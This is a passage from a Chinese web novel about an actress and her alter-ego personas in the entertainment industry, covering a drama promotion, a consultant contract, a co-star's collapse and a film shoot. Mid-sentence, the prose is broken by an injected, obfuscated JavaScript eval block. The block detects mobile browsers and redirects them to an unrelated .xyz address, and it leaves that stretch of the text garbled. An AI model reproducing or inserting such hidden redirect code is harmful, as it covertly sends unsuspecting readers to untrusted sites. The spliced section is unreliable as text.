她忽然想到，不管陆总对盛蹊怎么样，至少她是真的想见到宋寅的，她在他这里，也是真的毫无负担。和在陆总前完全不一样。 活动没有什么过激的宣传游戏，顶多就是让宋寅和饰演男主的演员还原一下剧里三角恋被发现的名场面，然后一直cue女主问她，如果是她她会选择谁而已。 而乔钰也没有让广大CP粉失望，直言如果她是女主她会选择陈曦河。这也是人之常情，她一直就是为了救陈曦河而努力的，一开始认识男主也是因为以为她是陈曦河。 或许剧情为了让女主爱上男主做了很多努力，但是在很多都新近爱上宋寅的网络环境里，他们就是对宋寅饰演的痴情男配印象更好啊。 宋寅拿过话筒，然后在主持人例行询问，如果陈曦河在之前没被复活时就知道女主认错了人，你觉得他会和女主说什么，时，想了一下，然后缓声说，“或许，会什么都不说吧。” 这个百分百契合温柔奉献人设的回答立刻引起现场一片哀嚎，好多人都喊不要啊，还有好多人说心疼心疼你自己好不好。 宋寅却笑，他笑起来总会让人有种如沐春风的感觉，不是那种非常明显的情绪外放的愉悦，而是他好像生来就习惯用这样浅的笑安慰其他人似的：“不是因为你们想的，他真的完全不自私，而是因为，如果戳破了，他反而会更害怕失去吧。” 现场安静下来。 宋寅说：“如果她真的知道自己认错了，大概也不会觉得自己是真心喜欢陈曦河的了。她只会觉得歉疚，然而爱意好像也被证伪。”这对陈曦河来说是无法接受的。 确实是这样，很嗑男女主所以对男配观感有点不好的小撮粉丝在这一刻也都鸦雀无声。 因为女主意识到自己爱上男主之后，立刻就明白自己对于男配的情感是不纯粹的，或者说已经消亡了的，否则她就不会爱上另一个和他完全不像的人了。 可是对于一个一直在等待，一直在无声地守护女主的亡魂来说，不去戳破，一直维护那个她还爱他的秘密，好像才是他唯一能做的事。 祝游都有点感叹了，原来是这样，来之前她刷简介还在戳平板说怎么又是这样老套的，在救爱人的路上爱上了别人的故事，可是宋寅以他的视角一说，她立马就意识到陈曦河不是不想说，而是不能，不敢说了。 他宁愿女主一直以为自己爱上的是转世的自己，也不愿意承认，其实在这段先来后里的感情里，他两次都输给了对女主来说是陌生人的男主。 主持人：“宋老师对角色的理解一直都很到位啊，那我们宋老师陈曦河呢，在剧里也一直是一个温柔，普度众生的角色，在没有身陨之前是一个悬壶济世的大夫，现在现场有人想体验一下，妙手回春的含金量吗？” 给观众的小小福利，现场立刻尖叫起来，好几十排，每排都有人举手，在人声鼎沸里，他反而能借着这个时间，光明正大地看一眼人群背后坐着的那个人。 对上自己视线，他条件反射地弯了下眼，意识到只有本体戴了口罩，自己还在台上，表情变化很明显，装作是被应援牌逗笑似的，轻轻挥了挥手。 现场骚动更剧烈了。 然而乔钰对合作对象的情绪很敏感，顺着看了一眼，发现那个角落的人也完全没有站起来和他互动的意思，移开视线，活动结束的时候她忽然想，其实盛蹊不是完全因为在圈内得不到正向反馈才退的圈。 她本身就不是个喜欢这种热闹的人。可是她身边的这个人，宋寅，他也不喜欢，却能为她好好地站在这里。 直播并不轻松，疏散完观众回到后台，几个主创都累得站不起来了，宋寅的嗓子其实也挺累的，宣传三个小时，很多人都找他问问题表白，他一直要回应，几乎闲不下来。 李珂拿了水来，看到盛老师到了后台，眼睛激动地睁大了一下，但没来得及出声，宋寅已经转过身，盛蹊也已经准备出去了。 李珂刚想拦，看了眼宋寅站在原地后，看着她背影离去的表情，张张嘴，还是没有上前。 祝游也在和盛蹊小声说：“要不我们进去看一眼？”特地大老远地来，总觉得什么话也不说，事也不干，有点亏的样子。当然，她绝对不是鼓励嗑盛宋的意思，她只是想说……就算是有陆总限制，作为朋友说两句话也没什么吧。 陆总毕竟不是真的小说人物，应该干不出来因为盛老师和他说了两句话就发疯的事。祝游在这盘算着，盛蹊已经重新戴上口罩，看了灯光已经暗下来的活动剧场一眼。 “已经这么近距离看了，还需要聊些什么呢？”她对祝游弯了弯眼，声音平顺：“我们的路又完全不一样。” 路不一样也能……祝游看出来盛蹊是真的不想聊，不再说什么，回去路上订好车票的时候再转头，盛蹊已经睡着了。 这么累啊。她想了想，给她盖好外套，要直起身的时候忽然看到她手里攥着的《若星辰》的活动票根。她愣了愣。 那天晚上刷手机的时候看到有粉丝哭哭，说宋寅已经开上剧宣直播了，她们西西还没有开上过，以前角色不是被剧组孤立了就是根本拿不到宣传的席位，底下也有人反驳不要替盛蹊哭惨了，她出道那么多年也是有火的角色的，吵起架来，祝游却思绪飞远。 其实，她一直觉得，盛蹊对宋寅不是那种感情，她更像是一个走了很远路的人，回头看见和她很相似的后辈走在这条路上，所以忍不住再关注一点。 她不会再自以为是地横加指导，或者再多关注，因为她知道她的选择未必比他更好。 但是第二天坐飞机时她刷到一个消息：天光公开了盛老师是他们新聘请的演技顾问，宁戏公开通过过的决定，因为是演技顾问，不用常驻，但是天光需要或者演员培训时，她可能会出镜。 有这个身份，盛蹊就算以后复出的时候也没有人会骂她了，因为她毕竟只是在为天光工作。 祝游第一反应去侧头告知盛老师这个好消息，虽然她也不知道为什么她会本能觉得，这个事关盛老师本人的消息，是她可能会不知道的。 但是头等舱的间距过大，她没看到盛老师的脸，却忽然想起一个事儿： 盛老师来看宋寅的剧宣直播，一开始可能就是为看宋寅好不好，他的路走得顺不顺来的，可是满心祝福宋寅的盛老师，有没有一天会想到自己也会得到这么好的机会呢？ ……演员和手握资本的投资方，果然是不一样的。祝游闷着，一声不吭，下了飞机再刷公司里的匿名群组，同事都在说这个通告肯定是陆总瞒着盛老师和宁戏那边联合发的，动作太快了，都像没考虑过时间和雇佣成本一样。 但盛老师知不知道，双方各执一词。 祝游到公司的时候还想知道哪一方吵赢了——这个演技顾问真的是盛老师同意都没同意，陆总就直接从宁戏要来的吗？结果打开车门，猛地一顿。 身高接近一米九的陆总站在那里，看到她，淡淡瞥来一眼，然后自然地接管她手按着的车门：祝游本来打算叫醒盛老师，然后扶她下来来着。下机到车上，她一直都昏昏沉沉的，她还打算看看盛老师体温是不是生病了。 结果她都没打电话和何秘说，陆总就来了，而且直接弯腰把盛老师从车里抱出来。他们这是在公司门前，没什么人，但祝游还是紧张地咽了咽口水。 陆其昌让本体头可以靠着自己肩膀，然后才示意何秘跟上，看到他面带犹豫，才轻嗤一声：“怎么，到自己家公司还怕被偷拍？” 他眼睛里带上点厌烦：“让他们都滚过来，做安保的连几个狗仔都抓不到吗？”何修心里的普通安保立刻变成会提防任何靠近的人的高级安保，而且他们资质都升级成国内最高规格的了——陆总说得这么理所当然，何修自然以为他早就吩咐下去了。 可信度倾向就是这么用的。 陆其昌大跨步迈进去，而且直接走向专用电梯，祝游犹豫了一下，还是选择在何秘身边吃瓜，何秘看了她一眼，祝游厚着脸皮：“何秘，那个演技顾问……” 何修装模作样地叹了口气：“宁戏那边不放人有什么办法呢？”然后又看了她一眼：“你陪盛老师出差……” 祝游就差把手举起来了：“就去看了个直播，什么都没有。”她又有点心虚，差点在后台见上了，这不算吧，这会儿她又忘了自己那个只是普通朋友聊几句天，陆总不会见怪的理由了，小声说：“我看盛老师挺累的。” 何修沉默一下，说了一句：“舆论过渡期，是这样的。”然后急匆匆地去按下一部专用电梯。 到楼上的时候，盛蹊已经醒过来了，陆其昌站在自己的红木书桌外，看她坐在他的椅子里，签那个演技顾问的协议。 听到他来，两个人都看了门口一眼。何修看着这番主客颠倒的做派只觉得眼皮直跳。陆总是没坐自己的位置，可是他居高临下的神情，总觉得掌控权还是在他这里。 盛老师果然不知道。他怎么敢提前官宣的？何修低下头，总不能是因为知道宋寅的新剧要播出了，而且那番对温柔男二的理解又让一波盛宋粉嗑上他们CP了。 陆其昌很有耐心，她在签字的时候，他还在把玩着桌上的假小盆栽，他不喜欢真的绿植，这个小摆件也是之前谁收拾办公室不知道从哪拿出来的，很不符合陆总的调性，但是他现在拿着，就像是在拿着桌面盆栽版的盛蹊一样。 他随意看看，她把文件签好了。 “《冬雨》这部剧的发行权真的不需要我去要？”陆总像是完全不顾忌他的存在，何修也从来没见过哪个资方和自己看中的演员这么聊天的：“青莲和风云的发行靠谱吗。” 他这不是作为行外人的随意聊天，而是真的能横插一手的资方做派。盛蹊看到他把盆栽放下来，眼睛也在那上面看了一会儿。 她斟酌着措辞，免得把这两个人物的设定脾性弄混了，哪怕她“饰演”盛蹊时也只是在做自己：“不会不靠谱的，那是老师找的合作。” 陆其昌嗤了一声，像是轻蔑，虽然不是对老师的玩世不恭，但是充满了明白自己能改变什么的傲慢：“那可不一定……盛蹊，她们找的或许靠谱，但是让我来做不是更十拿九稳吗。” 他实在是不明白自己偶尔的前后迟疑。 盛蹊也是。不过她选择不说话，陆其昌这个角色需要他偶尔释放一点自己的攻击性，和傲慢，和不相信其他人的姿态，他去释放就是了，她也只做自己想做的事。说到底，他也只是她情绪的外化而已，并不代表最终的选择和行动。 她直接站起来：“字签完了，我回宁戏了。” 陆其昌饶有兴致地看着她，在她走出红木办公桌范围的时候忽然说：“你觉得你签了这个，宁戏还会让你去演戏吗？” 是，没人敢找宁戏要人，也没人敢不长眼地从本体这伸手阻挠妄图向马甲邀功了，但是和马甲捆绑毕竟是一柄双刃剑，她确认她要回圈了，宁戏不见得乐意沾上这些麻烦。 盛蹊不得不承认，她不愿意这么快做决定的时候，陆其昌承担了一个带头做恶人的角色。他这么“不顾她意愿”，快刀斩乱麻，她才不必去思考背后的利益感情关系，可以假称自己是一个被裹挟者。 可她毕竟不是真的只是被裹挟着。 盛蹊还是没有回答，她安静地走出来，把笔放回到红木桌上的文件旁边，掠过陆其昌，陆其昌说：“我会和你的老师说的。盛蹊，没关系，喜儿没演好，还会有很多个角色等着你。” 陆其昌柔声。 她其实不是在怀疑自己，只是需要一个人和她说，她回圈的选择不是错误的。可是奇异的是，他把这句话说出来了，盛蹊心里反而笑了，她抬头然后像是在用最后的力气调侃，轻声和他玩笑说：“你知道吗？我和我的老师说，你不懂戏。这样你才能在莫名其妙的时候安慰我。” 陆其昌不能是一个很懂戏的人，就像白熊的负责人请他去看那部电影，他完全不关心一样，他对任何艺术没有评判价值的权威性，她才能让他心安理得地选择自己。 如果陆其昌也是因为对她的认可才选择她的，那太可怕了不是吗？她就是因为找不到任何认可才失去对自己的判断的。她需要他是盲目的，不讲道理的。 陆其昌这个时候又低下头，危险地眯起眼睛盯着盛蹊。以何修的敏锐度都看出来陆总这个时候应该是想大跨步迈过去，然后，抱她，或者怎么样让她的注意力回到自己这里都好。但他最后只是淡淡站着，移开视线。 盛蹊继续说：“可是我不会演不好喜儿的。我是一个演员。”无条件支持自己的马甲可以有，但是盛蹊不会失去自己的判断。她知道，自己是怎样想去完成这么样个角色。 陆其昌一直静默地看着她，他保持一种惊奇又熟知似的眼光打量她，然后感慨她怎么还是这样冥顽不灵，却也怎么也被改变不了似的，拿起她用过的那只钢笔，转着，好似百无聊赖：“好吧。” 他单手放在口袋里，这样立着的时候像是一个慵懒的绅士，虽然他的所作所为完全不算：“我让何修送你。” 这句话又是毫无疑义地耍流氓了。谁会真的让他送呢。所以何修抬起眼，和这位可怜的顾问小姐对视之后，盛蹊默默地默许他跟下来了。在专用电梯里，陆其昌短暂地闭上眼睛靠在轿厢里，节省一点可怜的可信度。 在电梯里盛蹊想，她希望宋寅大红大紫，这样在未来更大的剧组里他们或许就能再见了，不过她想短时间内她或许还是不会见他的。 看到他她还是很难克制自己条件并不优越的那种自卑。据说整容之后人会抗拒，也会怀念见到以前的自己。她想自己这样的心态并不古怪，也不能自称卑劣。但至少是需要她好好接受的。 到地下车库，陆其昌都送她下来了，不送到车内未免太奇怪，他交代司机把她送去什么地方，和她对视一眼，忽然说：“最迟这周二。” 司机看了眼后视镜，然后立刻收回目光，手指握紧了方向盘一下。她第一天得到这份工作，知道只是偶尔载载这位新顾问的时候非常庆幸松了一口气，现在终于知道面试里的嘴严是什么意思。 陆其昌正抚摸着她的侧颈，盛蹊坐在车内，心想不怪她喜欢这个动作，有生之年她还没有试着，是谁可以自己这样依靠的。呼吸，脉搏的起伏频率。 外人看着可能是觉得陆其昌占有率发作想要控制住她的脖颈，但只有盛蹊觉得，这只手贴着脖颈的温度，居然和她那年看着父母离世时，母亲那只温热的手很相似。 她闭了闭眼睛，心想她还没有这样相信过别的人。她只能相信自己。其他人说她清高，酒局，招商会都不参加什么，其实盛蹊只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352568|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不能相信自己以外的任何人而已。 陆其昌的声音温柔得像是絮语：“一切我都会为你解决的。”宁戏那边的态度，老师的疑问，复出的时机，包括和他，还有宋寅的纠葛。 她有什么疑问和惊惧？有陆其昌和宋寅在，她曾经见过的风雨没有一刻会飘到她这里。 盛蹊哑声：“我的房子放在你那好吗？”陆其昌本来要直起身的，闻言一顿。她也为自己这个决定惊奇，但是其实不是毫无逻辑。 盛蹊：“我不想回去，但是你……”陆其昌捻了捻手指，好像还没回过神来似的，等车窗关上才淡淡说了声好，他回到办公室顶层，何修说了祝游说盛蹊这段时间好像非常累，飞机上车上都在睡觉似的。 陆其昌坐在椅子上闭眼假寐，蓦地，他睁开眼睛，像是自己在和自己说：“累？累有什么不好。总比她和个无头苍蝇到处去撞好。” 陆总还是把盛蹊不愿意屈服时候经历当成谈资，恨铁不成钢或是胜利后结算也罢，他屈起手指，好像只是随口说：“你去把我一部分家具搬进天海苑那栋公寓去。” 何修顿住。 陆其昌又翻了翻他送来的文件：“宋寅的培训也结束了？正好，梁叙看的那几个剧本都给他递过去，他不是要演戏？她不演了，他正好演。” “……”何修很想问这个承接顺序到底是怎么来的，但是公司由陆其昌做主，他还是把这话咽下去，传达的时候委婉提醒：“宋老师的戏安排紧凑点，最好不要和其他演员撞上。” 梁叙接文件的手一顿，抬头看了何修几眼，确定自己没理解错误后，回办公室还在自言自语：“怎么成这个德行了。” 他是在问这个公司。不喜欢宋寅，把他解约了不就好了，不喜欢，偏又在那放着，偏又给他砸钱，又让他别和盛蹊一起演剧。 到底是什么含义。非要他看着自己和盛蹊是怎么走到一起的是吗？梁叙想了想，打电话和那个对他印象很不好的助理说，宋寅的培训可以停一停了，也可以接着进组。 李珂声音里带了哭腔：“梁总，我刚要和你说，宋老师晕倒了。” 是盛蹊疏忽了，她忘了宋寅设定里本来就有身体虚弱这一项，其他人的不断脑补又会加深他抑郁症加重和身体虚弱的可信度偏向，她四处切换忙乱一点之后，马甲就自己罢工了。 盛蹊现在不是不想切换成宋寅醒来，而是醒不来。系统提醒他，马甲身体数值造成的晕倒还有八个小时。这八个小时不会扣可信度。 “那我以后让每个马甲都累到晕倒就好了。”盛蹊是轻声说的，系统并不觉得可笑，它看出来盛蹊确实非常忙。而且宋寅的“情绪压抑”倾向不是空穴来风。 它还没来得及宽慰宿主，李珂和匆匆赶到的梁叙说：“没干什么，就是开完发布会回去休息几个小时之后，再看剧本就晕倒了。” 梁叙：“他之前也没什么异样吗？” 李珂哑然，声音哑哑地道：“他以前也经常几个小时，几个小时地睡觉，但我以为是抗抑郁药的副作用。” 梁叙皱眉。宋寅身体情况这么差，他要考虑向公司递交申请，让他歇几个月或者干脆不要再参加演艺活动了……但他想到从何修那接的文件，一顿。 他转头，和宋寅刚在一个城市做完主创宣传直播的乔钰竟然来了，她防护做得很好，戴口罩墨镜也要来是以为宋寅这出了什么公关事故，还好只是晕倒。 她在单人病房外取掉口罩，很干脆：“告诉媒体没有？”如果没有提前透口风，爆出去很容易被人云亦云。 梁叙还没开口说话，李珂很伤心似的，低头哽咽说：“宋老师都没有什么朋友同事。”晕倒了竟然也没其他的人在这处理他的事。 他不和其他人联系，一心扑在演戏里。其实她也想过，他未必是不认识其他的人，他只是把自己和其他人的世界隔绝。 他不需要其他人给予的反馈，因为他自己就足够被痛苦吞噬。 乔钰看她一眼，直截了当：“为什么你们不帮他联系朋友同事？”说完她也不管分寸与否——她关心的只是剧能不能顺利播出，如果宋寅这里没有可信赖的人看守，这部剧风波宁静就悬了，谁知道这家公司还会不会出别的事。 乔钰按了盛蹊的电话，梁叙被迫提供的，乔钰说他不给就去宋寅手机里看，然后乔钰说：“宋寅晕倒了。” 盛蹊接了电话，但乔钰那边只有呼吸声。 乔钰：“你要不要来？” 盛蹊沉默一会儿，她顾不上宋寅的事：“这不关我的事。”她过去了宋寅也醒不来，甚至她过去了还要花费双倍可信度让他可以和她同时醒。心狠就心狠，也不是什么坏事。 乔钰：“那你找一个人来。” 盛蹊张张嘴。 乔钰垂下眼睫：“你就这样对待一个病人？一个抑郁症患者，你不怕他身边什么人都没有，然后做傻事？”她摇了摇头：“我实在不相信你们是这样的朋友。” 她掌握情绪的功力实在太精准，盛蹊明知道她是在做什么，在用台词、引导性情境让盛蹊认可她的叙事，可无法反驳。乔钰还是太能揣测人心了。 乔钰想起那个新闻：“或者你让可以让他安全的人来。”她以为盛蹊是身不由己，但是让公司看护一下宋寅，不过分吧？ 梁叙终于反应过来：“我还在这里。”乔钰其实没必要打这个电话，她非要告诉盛蹊，无非是要证明……宋寅和盛蹊有关。 乔钰看了梁叙一眼。她终于开口说：“《若星辰》这部戏的收视率和我的转型有关，盛小姐，你也是圈内人，应该能理解，这部戏对我很重要。” 她看盛蹊不说话：“我不希望这部戏受到任何不利的影响。” 梁叙眼皮狂跳，内心虚弱。她靠向盛蹊求证，希望陆总的怒火不会对这部戏造成任何影响？这和希望周宇倒台了但是白熊毫发无损的蠢人有什么区别。但是乔钰这招走得确实好。 她让盛蹊知道宋寅晕倒了，如果盛蹊和宋寅交情真的足够，盛蹊能拿捏住陆总，《若星辰》就万事大吉。她对这件事判断最准的是盛蹊对宋寅有愧，或者她不会让宋寅心血毁于一旦的。 在周宇迅速倒台后，这种担心确实不多余。 乔钰不算过分，但也绝不礼貌，盛蹊却不能给出任何回答，她对这种无任何征兆情况下被逼到角落的情况感到窒息。但她也确实不能对乔钰苛责什么。 她演了那么多年女二，和自己圈内浮沉没有任何区别。而且她能理解乔钰对自己的态度。她好像是背靠大树了，但是一着不慎就能影响一个剧组上百号人。 但她还是不能给乔钰回答。 “盛老师？” “……”她只能闭上眼：“他不会对《若星辰》做什么。”如果不是陆其昌对《若星辰》做什么不合适，她或许也会让他帮宋寅。 乔钰还是追问：“任何时候吗？” 盛蹊声音微哑：“……任何时候。” 乔钰没有表现出半分惊讶，反而诚恳道：“谢谢你，盛老师。”她还说：“或许你会觉得我是在威胁那你，但是作为和你一道入圈的老演员，我只想说，没有人会唾弃你，对这个圈子的人来说，演出自己的角色只是本分，保住自己的角色才是本事。” 她淡淡地说完，挂了电话，看向梁叙和李珂：发现他们一脸的困惑震惊，李珂脸上还有不解和愤怒。 她把手机收起来：“去和宋寅说吧。她为了他做了这些，他总不能不知道。” 李珂气得手都在抖：“乔老师您！您这样不合适！” 乔钰看她一眼，好像觉得她很天真似的，没多说话，而是移开视线，看向梁叙：“这里不能被任何狗仔拍到，没问题吧？” 梁叙神色复杂地答没问题，送乔钰走时还是忍不住道：“你不怕陆总生气？” 乔钰答非所问：“我帮他把他们的关系切割得更清楚了，他生什么气？” 切割得更清楚了？梁叙一愣，看到手机上的电话才连忙接起来，他以为自己知道宋寅晕倒就搭乘最快航班过来已经很快了，没想到半个小时何秘就接到消息了。 何修说：“陆总说，会派专人过来看护和照顾，你这段时间继续兼宋寅的执行经纪人。” 梁叙还想说什么，何修说：“不要让热搜上出现盛老师的半个字，知道吗？” 梁叙把所有的话咽下去，他说：“知道了。” 朝萤夕拾超话： 【家人们，为什么宋寅晕倒的热度上不去啊（流泪）是公司在压他晕倒的热搜吗】 【鬼故事……带盛宋tag的话题全消失了……】 【救，为什么我们组的几个大触老师浏览量都突然这么低啊呜呜呜呜呜！好像突然被限流了】 【什么？宋寅晕倒了？啊啊啊啊】 【萤火们，我说两个事你们千万别慌，第一个，我们家几千万那个浏览量的话题突然消失了，第二个……好像有人不许我们嗑了】 【？？？】 【不是，我逆反心上来了？？不是真的为什么不让我们嗑？不让嗑的才是最假不了的吧？】 【加一，头一次嗑真人还被平台官方禁嗑，气笑了】 【不是的，好像是因为热搜上表演顾问这个事吧，西西任职的那个公司就是那天提到那个和她说吃饭的副总的公司啊……事情突然开始变微妙了】 【真的没人懂，热搜开始洗西西和宋寅关系那么好是因为他们是同事了，什么我的角色都和她有关也是因为表演演戏是她在公司时候教的，凭什么！！】 明明就是青梅竹马，现在开始造谣他们什么私人关系都没有，只是普通同事了！ 但是乔钰懂这里面的逻辑关系，她盯着热搜，心想，果然如此。资本家的索取是不会不计量报酬的。她和盛蹊的诉求都是宋寅的《若星辰》和以后的戏不受任何他的影响。 天光那位副总的要求就是，让我不打压他，可以。我不是什么不睚眦必报的人，我高抬贵手，给我一个理由。 要么我根本就没有必要针对他，你和他什么关系都没有过，要么，他挑衅了我，全业界都知道我看中你，他必须狠狠吃一个苦头。 盛蹊替他选了。 她和盛蹊打电话的时候，盛蹊肯定也在想：她说他永远都不可能打压他，但是真的可能吗？陆其昌这种人，他的嫉妒心和傲慢狭隘自私永远是最吓人的。 他是不会放过宋寅的。除非她真的开口求他，她真的能做到，他满意。 可信度倾向生成的时候，何修真的在办公室看到了陆总的手机。它亮着屏，上面显示着盛小姐打来的三个电话，每个五分钟，间隔了半小时。 打了三次，陆总才接。现在陆总再看迟迟升不上去的宋寅晕倒的热搜，往后靠，声音平静：“晕得真是时候。” 但何修听着，总觉得这句话说出来应该是，傲慢轻嗤的，算他识相。但宋寅不会这么识相的，何修心想，他应该真的只是疲劳过度，然后醒来的时候发现，他已经再一次和她相交，然后远远分开了。 何修垂眸，权力，真是个好东西。 33. 第 33 章 宋寅醒来的时候，盛蹊已经在片场准备拍摄喜儿了，所以睁开眼睛后，他还是躺在洁白的病床上睁眼看了天花板一会儿，才闭上眼睛，但是他的情况是受到了李珂他们的仔细关注的，所以发现宋寅有醒来迹象的时候，李珂就推开了门。 继而发现他眼睫颤动后，又小声喊了一声：“宋哥。”她能理解他为什么不愿意醒来。 大概他其实很清楚明白，陆其昌出现后，他们的交集本来就是不必要的、不可能的，盛蹊的选择本来就不可能是两全其美的，不排他的。所以那天看着盛老师背影远去，与其说是没有想到、不能和她打招呼，不如说是他很清楚未来每一次他都要看着她那么远离。 他其实，很能够理解她吧。在这个圈子里这么久，这么多机会，没有一个是属于她的，现在他也成为她的累赘。 明明在哪里都好，但是在天光，连他也是辖制她的筹码。 李珂看他露在消毒被外清瘦的手指，心里一酸，过去把他的被角掖好，宋寅轻轻地说：“我想睡一会儿。” 喜儿是她最想要演好的角色了。 李珂点头，轻声退了出去，但是关上门的时候宋寅还是说：“谢谢。”其实在演艺事业上的专心，他不如本体的万分之一。但是他们都没有想要离开。也许在各个方面上，他都比本体要幸运得多，从来如此。 喜儿是这部剧里唯一两个人分饰一角的角色，连年龄跨度很大的陆蕙兰这个角色，都是由陆蕙兰改变妆造，年轻和老态化分别来饰演，但是喜儿却是唯一的，独一无二的，同一个年龄阶段有两个人饰演的核心配角。 盛蹊只是这位饰演喜儿平时面目演员的一个副角。只会在片中以片段形式出现，可能也只有这么一个镜头，但是看到剧本的时候，她和她老师陆蕙兰都知道，这个角色是最灵魂的。戏眼非她莫属。 现在这个角色归她了。 饰演喜儿的庄悦，听说也想争取过这个角色，她不是年轻的流量花，比现在的小花年纪要大点，但是有资历，有角色，更难得的是有奖项，所以她提出要分饰另一个状态的喜儿时并没有多少人反对，但是这部剧的导演，也是陆蕙兰的好朋友，在考虑过剧本身的调性后还是拒绝了。陆蕙兰还听说庄悦私下里打听过是不是她演技不够。 推荐盛蹊的时候这位好友说：“你知道我是不留情面的，你的学生……好吧，我还是可以用一下，但是我是不讲人情的，不行，直接换人。” 当时陆蕙兰和他说：“放心，她就是跟着我来打杂的，拿不到这个角色，也是她阅历不够。” 好友稀奇：“拿不到这个角色，你还打算一而再再而三地给她角色不成？”戏是不讲究强捧的，尤其是演艺圈里他们这种角色，带出来的人要是把一部戏砸了，就是把她的口碑也砸了。 可陆蕙兰竟像是全然不管这些，当时她只是一叹，仿佛无可奈何般，陆执明还在怀疑这个演员手里是不是有老友什么把柄，看到盛蹊扮上喜儿的扮相，神色一肃：对味了。 当下影视圈年代戏，地位是独一档的，没点资金和人力的影视公司不敢拍，这也就造就了年代必精品的假象，加上《绣年》这一部剧的大爆特爆，其实陆执明心里咂摸着味，容易砸呢，这才一而再再而三地把拍摄周期延长。 他和老朋友搞起来的班子，主咖是陆蕙兰，主演里没谁比她架子大，几个主要配角里好多都是他的恩师，虽不爱搭理他但也都给他面子，周期就给他延下来了，他看着盛蹊忙前忙后一声不吭，心里想倒是个有耐心的。 现在镜头里见真功夫，他真是为朋友高兴挖掘到这么块璞玉了：还没开拍，陆执明用惯了的摄影是在端着机器找最好的角度呢，陆执明从监视器里看到那几个镜头，一边惊叹一边和捧着热水，披着外套的陆蕙兰说：“这角度最好了，陆老师，你这学生特训过啊。” 别提娱乐圈，他们这帮老家伙不和如今的娱乐圈比，对一般的演员功底要求还是有的，但就算是正剧演了很多部的，上戏还是有这个毛病，找镜头。找最好看的，光最好的，她自己心里下意识觉得最好的那个镜头。 这一找，导演的光影构建，艺术审美全白搭了，关键是你调好了之后她还用她自己的，根本不听劝。那都不是轴了，职业习惯刻在骨子里，成了本能。现在颜值经济，人家想拍好看的糖水片，你能说啥吗？ 但是盛蹊身上完全没这个毛病，不仅角度找的是正正好的，摄影师围着她找角度的时候，她没迎合人家，她维持着人物本身的状态，低着头在那想台词呢。 这台词不是盛蹊的，是喜儿这个角色的，她在盘算着怎么两头说，才能把家里和学校里的谎言都给圆了。她想上学，但爸妈给否了，她钱不够，但她和家里说，学校愿意给她免费上学，只要她考得好就行了。 导演说了开拍，旋即盛蹊脸上的表情变得急促，这种急促不是什么想法催着她去把这件事完成了就好了，虽然也有这种情绪，但是盛蹊把情绪的递进分得很开—— 最近老有人吹那些年轻演员什么情绪浓烈，转换得厉害，其实他们只是无法做到把一个个情绪清楚地剖析出来，再精准地表现，他们所做的只是把情绪杂糅在一起而已。 但喜儿是个心智还不健全的未成年人，她这样瞎跑是因为她真的不知道该怎么走这条路，她这样挣扎只是本能驱使，她一步一个摔跤地去够那条逃跑的路。 她的急促是想起父母尖利刻薄话音的那种急促：“读书？你弟奶粉都没有了你还想着读书？” 她爹闷不吭声地劈着柴，冷不丁说一句：“你在学校能考多少分？没考前十学校不资助你吧？” 其实没有，学校连资助前十的这种政策都没有，可是喜儿心里还是浮现出恐惧，她的脸已经不再年轻了，眼里该看到的是成年人柴米油盐酱醋茶里的那种辛酸挣扎悲苦，可是她还是被如此简单的一件小事困着。 成年人的脸，和眼里的那种稚气，世界太狭窄逼仄导致她也生出那种小小的，一点小事都是大逆不道的想法形成剧烈反差。 陆执明感到她身后虚幻的黑夜都成为绊住她腿的黑色森林。 太厉害了，靠情绪就把前置情节的那种设计，和这个情境下，喜儿心里看到的那种阴森氛围表现出来了。 她害怕。她害怕父母的逼问，害怕他们发现借口的失望与严厉，害怕老师不肯配合自己撒谎，害怕到了学校同学们还是用好奇但是伤人的目光看着她，害怕有一个老师还是在她去找老师的时候好奇地问：“廖老师，你班这个还是没交费啊。” 其实只是几十块钱而已。 靠近教学楼了，这么长段镜头陆执明一声没喊停，喜儿看到有人，脚步慢下来，气还在喘着，脸上已经精准浮现出恐惧和犹豫。 她知道这部戏的精华在哪里。这就是陆执明说的，演员是要有审美的。她被巨大的精神压力压垮了，都顾不上自己的身体情况。 所以身体破铜烂铁一样哼哧哼哧喘气，她的灵魂还被抛在那个破烂的操场碎石堆里。她干涩地咽了咽口水，想深呼吸一口气，被自己呛到。 整个处理很连贯，有一种质朴的生活气。陆执明摇了摇头，不清楚要说什么，但喜儿已经迈开腿了。她甚至都没把那种下定决心的狠劲儿给表现出来，就已经朝前走了。 不是意识到读书可以改变命运在驱使着她，也不是她好学——喜儿在前面剧情里还考倒数呢，本来按照年纪要升初三，硬是学不会，大字写得和蚯蚓似的，老师勒令她读六年级。 这也是喜儿被排挤的原因。这个年纪，她长得又高又大的，和她认识的同龄人喊她文盲，和她一起读书的嫌她高，闷，笨。 喜儿的所有形象在这一个几分钟的镜头里达到全面升华。陆执明继续摇头：“就这几分钟把庄悦的喜儿全部给推翻了。” 陆蕙兰喝着水：“这不就是你要的效果？” 庄悦的漂亮安静的孤僻的喜儿，是假的喜儿，是他们这个班里，从老师到同学自欺欺人的假象，她还是挨欺负，还是长得好但是笨，还是木讷的，但是盛蹊饰演的，相貌有点平平无奇，甚至过了很多年，同学们都长大成人，她还是那个奔跑着怕老师和家长都怪她的稚气的喜儿，才符合这部剧的想象。 这个真的喜儿已经死了。 因为死了她困死在这个反复重演的幻象里，因为死了，她有着一张成人的面孔，但是幼稚却绝不傻气的面容，因为死了，他们才突然惊觉。 哦，原来喜儿是这样的。 喜儿如果平安长大她三十一岁了，但她还是想为了读书努力奔跑，她想和老师说我会努力学习，尽管我一直考年级倒数，她还是想说，能不能让我晚点交。 喜儿是打算捡瓶子，去帮忙裁衣服还是做别的来交学费，陆蕙兰视角里已经看不到了，盛蹊大概也不知道，但她没有把这种没有成算演出来。 跑到这的喜儿凭的是一股不知从哪来的勇气，她也犹豫徘徊，但是咬紧了牙推开了门，老师没在，一个班的同学出去做大扫除，老师陆蕙兰也去了，天降大雨电闪雷鸣。喜儿有点茫然了。 